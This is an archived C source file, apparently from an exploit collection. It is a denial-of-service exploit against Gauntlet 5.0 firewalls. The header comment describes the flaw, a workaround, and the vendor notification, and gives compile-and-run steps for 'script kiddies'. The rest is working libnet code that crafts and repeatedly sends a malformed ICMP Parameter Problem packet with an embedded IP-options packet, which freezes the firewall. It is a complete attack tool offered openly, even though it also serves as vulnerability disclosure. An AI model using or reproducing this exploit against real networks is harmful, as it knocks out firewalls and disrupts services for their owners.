home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / gauntlet / gauntlet-dos.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  211 lines

  1. /*
  2.  * Discovered and written by:  <godot@msg.net>          <- Send money to :-)
  3.  *     aka     Mike Frantzen   <frantzen@expert.cc.purdue.edu>  <- Reply to
  4.  *
  5.  * Network Associates:  "Who's watching your network?"
  6.  * MSG.net              "Who's watching the watchers?"
  7.  *
  8.  * This can be found online at http://www.msg.net/firewalls/tis/bland.c
  9.  *
  10.  * Description:
  11.  *  If you know an IP that will be routed through a Gauntlet 5.0 Firewall,
  12.  *  you can remotely lock up the firewall (tested against Solaris 2.6 and
  13.  *  BSDI).  It locks up to the point that one packet will disable STOP-A
  14.  *  (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI
  15.  *  (Ctrl-Alt-Del still prompts Y/N but it never reboots).
  16.  *
  17.  *  **You can NOT send this to the Gauntlet's IP.  The packet must be one
  18.  *  **that would go through the forwarding code.
  19.  *
  20.  *  If you are on local ether to the firewall, set it as your default route
  21.  *  or otherwise send the packet to the firewall's MAC. 
  22.  *
  23.  *  The packet is parsed before the packet filtering rules in Gauntlet.  So
  24.  *  the only known work-around is to ACL out ICMP type 12 at your screening
  25.  *  router.
  26.  *  Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to
  27.  *  be vulnerable -- but 5.5 introduces some new 'issues'.
  28.  *
  29.  *
  30.  * Technical Description of the packet:
  31.  *  The packet is an ICMP Paramater Problem packet that encapsulates an IP
  32.  *  packet with IP Options.  There is a random protocol in the encapsulated
  33.  *  IP packet.  The trick is:  the inner packet MUST have IP Options.  Some
  34.  *  options work, some don't.
  35.  *  The firewall apparently is looking for the packet (or an entry in its
  36.  *  transparency table) that matches the encapsulated packet.  It just keeps
  37.  *  looking....  It likely has interrupts masked off on Solaris.
  38.  *
  39.  * 
  40.  * You need libnet to link this against.  It's a pretty spiffy lib.
  41.  *   http://www.infonexus.com/~daemon9/Projects/Libnet
  42.  *   http://www.packetfactory.net/libnet
  43.  * 
  44.  *
  45.  * For da script kiddies:
  46.  *   Compile with 'gcc -o bland bland.c -lnet'
  47.  *   ./bland -d <ip through the firewall>
  48.  *   (Did you remember to install Libnet???)
  49.  *
  50.  *
  51.  * If it doesn't compile on your machine:  I DON'T CARE!!!  This program was
  52.  * a quick and dirty hack.  You try reading a hexdump of a packet off the
  53.  * wire and writing something that can reproduce it.
  54.  * I know it compiles and works from FreeBSD 3.1 
  55.  *
  56.  *
  57.  * Network Associates (TIS) was notified two weeks ago and they are working
  58.  * on a patch.
  59.  *
  60.  *
  61.  * Plugs:
  62.  *  ISIC --  Program I used (and wrote) to find bugs in Gauntlet's IP stack.
  63.  *           http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
  64.  *  Libnet --  Was able to write the basic exploit in 20 minutes because of
  65.  *           libnet.  See libnet link above.  Thanks go out to Route!
  66.  *
  67.  *
  68.  * Credits:
  69.  *  Mike Frantzen <frantzen@expert.cc.purdue.edu>    Hey, thats me!
  70.  *  Mike Scher <strange@cultural.com>
  71.  *  Kevin Kadow <kadokev@msg.net>          <-  Gauntlet Random Seed Hole
  72.  *  Lenard Lynch <llynch@tribune.com>
  73.  *  Viki Navratilova <vn@msg.net>
  74.  */
  75.  
  76. #include <libnet.h>
  77.  
  78. int main(int argc, char **argv)
  79. {
  80.     u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
  81.     u_long *problem = NULL;
  82.     u_char *packet = NULL;
  83.     int sock, c, len = 0;
  84.     long acx, count = 1;
  85.     struct icmp *icmp;
  86.     struct ip *ip;
  87.  
  88.     /* It appears that most IP options of length >0 will work
  89.      * Works with 128, 64, 32, 16...  And the normal ones 137... 
  90.      * Does not work with 0, 1 */
  91.     u_char data[] = {137};
  92.     int data_len = sizeof(data);
  93.  
  94.     printf("Written by Mike Frantzen...  <godot@msg.net>\n");
  95.     printf("For test purposes only... yada yada yada...\n");
  96.  
  97.     src_ip = inet_addr("10.10.10.10");
  98.  
  99.     while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
  100.       switch(c) {
  101.         case 'd':    dst_ip = libnet_name_resolve(optarg, 1);
  102.                 break;
  103.         case 's':    src_ip = libnet_name_resolve(optarg, 1);
  104.                 break;
  105.         case 'D':    ins_dst_ip = name_resolve(optarg, 1);
  106.                 break;
  107.         case 'S':    ins_src_ip = name_resolve(optarg, 1);
  108.                 break;
  109.         case 'l':    data_len = atoi(optarg);
  110.                 break;
  111.         case 'c':    if ( (count = atol(optarg)) < 1)
  112.                     count = 1;
  113.                 break;
  114.         default:    printf("Don't understand option.\n");
  115.                 exit(-1);
  116.       }
  117.     }
  118.  
  119.     if ( dst_ip == 0 ) {
  120.         printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
  121.         rindex(argv[0], '/') == NULL ? argv[0]
  122.                     : rindex(argv[0], '/') + 1);
  123.         printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
  124.         printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
  125.         exit(-1);
  126.     }
  127.  
  128.     if ( ins_dst_ip == 0 )
  129.         ins_dst_ip = src_ip;
  130.     if ( ins_src_ip == 0 )
  131.         ins_src_ip = dst_ip;
  132.  
  133.     if ( (packet = malloc(1500)) == NULL ) {
  134.         perror("malloc: ");
  135.         exit(-1);
  136.     }
  137.     if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
  138.             perror("socket: ");
  139.             exit(-1);
  140.     }
  141.  
  142.     /* 8 is the length of the ICMP header with the problem field */
  143.     len = 8 + IP_H + data_len;
  144.     bzero(packet + IP_H, len);
  145.  
  146.         libnet_build_ip(len,                    /* Size of the payload */
  147.                 0xc2,                           /* IP tos */
  148.                 30241,                          /* IP ID */
  149.                 0,                              /* Frag Offset & Flags */
  150.                 64,                             /* TTL */
  151.                 IPPROTO_ICMP,                   /* Transport protocol */
  152.                 src_ip,                         /* Source IP */
  153.                 dst_ip,                         /* Destination IP */
  154.                 NULL,                           /* Pointer to payload */
  155.                 0,
  156.                 packet);                        /* Packet memory */
  157.  
  158.  
  159.     /* ICMP Header for Parameter Problem
  160.      * --------------+---------------+---------------+---------------
  161.      *| Type (12)     |    Code (0)     |    Checksum         |
  162.      * --------------+---------------+---------------+---------------
  163.      *| Pointer     |        unused                 |
  164.      * --------------+---------------+---------------+---------------
  165.      * Internet Header + 64 bits of original datagram data....
  166.      */
  167.  
  168.     icmp = (struct icmp *) (packet + IP_H);
  169.     problem = (u_long *) (packet + IP_H + 4);  /* 4 = ICMP header  */
  170.     icmp->icmp_type    = ICMP_PARAMPROB;
  171.     icmp->icmp_code    = 0;        /* Indicates a problem pointer */
  172.     *problem = htonl(0x14000000);    /* Problem is 20 bytes into it */
  173.  
  174.  
  175.     /* Need to embed an IP packet within the ICMP */
  176.     ip = (struct ip *) (packet + IP_H + 8);    /* 8 = icmp header    */
  177.     ip->ip_v    = 0x4;            /* IPV4            */
  178.     ip->ip_hl    = 0xf;            /* Some IP Options    */
  179.     ip->ip_tos    = 0xa3;            /* Whatever        */
  180.     ip->ip_len    = htons(data_len);    /* Length of packet    */
  181.     ip->ip_id    = 30241;        /* Whatever        */
  182.     ip->ip_off    = 0;            /* No frag's        */
  183.     ip->ip_ttl    = 32;            /* Whatever        */
  184.     ip->ip_p    = 98;            /* Random protocol    */
  185.     ip->ip_sum    = 0;            /* Will calc later    */
  186.     ip->ip_src.s_addr = ins_src_ip;
  187.     ip->ip_dst.s_addr = ins_dst_ip;
  188.  
  189.     /* Move our data block into the packet */
  190.     bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);
  191.  
  192.     /* I hate checksuming.  Spent a day trying to get it to work in
  193.      * perl...  That sucked...  Tequilla would have helped immensly.
  194.      */
  195.     libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);
  196.  
  197.     /* Bah...  See above comment.... */
  198.     libnet_do_checksum(packet, IPPROTO_ICMP, len);
  199.  
  200.  
  201.     printf("Sending %li packets", count);
  202.     for (acx = 0; acx < count; acx++) {
  203.        if( libnet_write_ip(sock, packet, len + IP_H)  < (len + IP_H))
  204.          perror("write_ip: ");
  205.        else printf(".");
  206.     }
  207.     printf("\n\n");
  208.     return( 0 );
  209. }
  210.  
  211.